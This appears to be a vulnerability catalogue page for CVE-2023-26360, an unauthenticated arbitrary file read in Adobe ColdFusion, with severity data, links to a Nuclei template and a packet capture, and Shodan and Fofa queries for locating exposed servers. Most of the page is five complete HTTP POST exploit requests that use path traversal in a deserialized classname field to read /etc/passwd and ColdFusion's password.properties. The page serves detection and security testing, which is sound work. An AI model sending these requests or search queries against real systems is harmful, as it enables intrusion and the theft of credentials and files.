| Title | Adobe ColdFusion - Local File Read |
|---|---|
| Author | DhiyaneshDK,7own |
| Severity | High |
| Impact | This vulnerability can lead to unauthorized access to sensitive information stored on the server. |
| Remediation | Apply the necessary security patches or updates provided by Adobe to fix the vulnerability. |
| CVSS Score | 8.6 |
| EPSS Score | 0.9433 |
| CVE ID | CVE-2023-26360 |
| CWE ID | CWE-284 |
| Shodan Query | http.component:"Adobe ColdFusion"http.component:"adobe coldfusion"http.title:"coldfusion administrator login"cpe:"cpe:2.3:a:adobe:coldfusion" |
| Fofa Query | title="coldfusion administrator login"app="adobe-coldfusion" |
| Tags | cve2023 cve packetstorm adobe coldfusion lfi kev vkev vuln |
Unauthenticated Arbitrary File Read vulnerability due to deserialization of untrusted data in Adobe ColdFusion. The vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
POST /CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
POST /cfusion/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
POST //CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_variables={"about":{"_metadata":{"classname":"../../../../../../../../../../../etc/passwd"}, "_variables":{}}}
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36
Connection: close
Content-Length: 121
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26360.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-26360.pcap
N/AN/A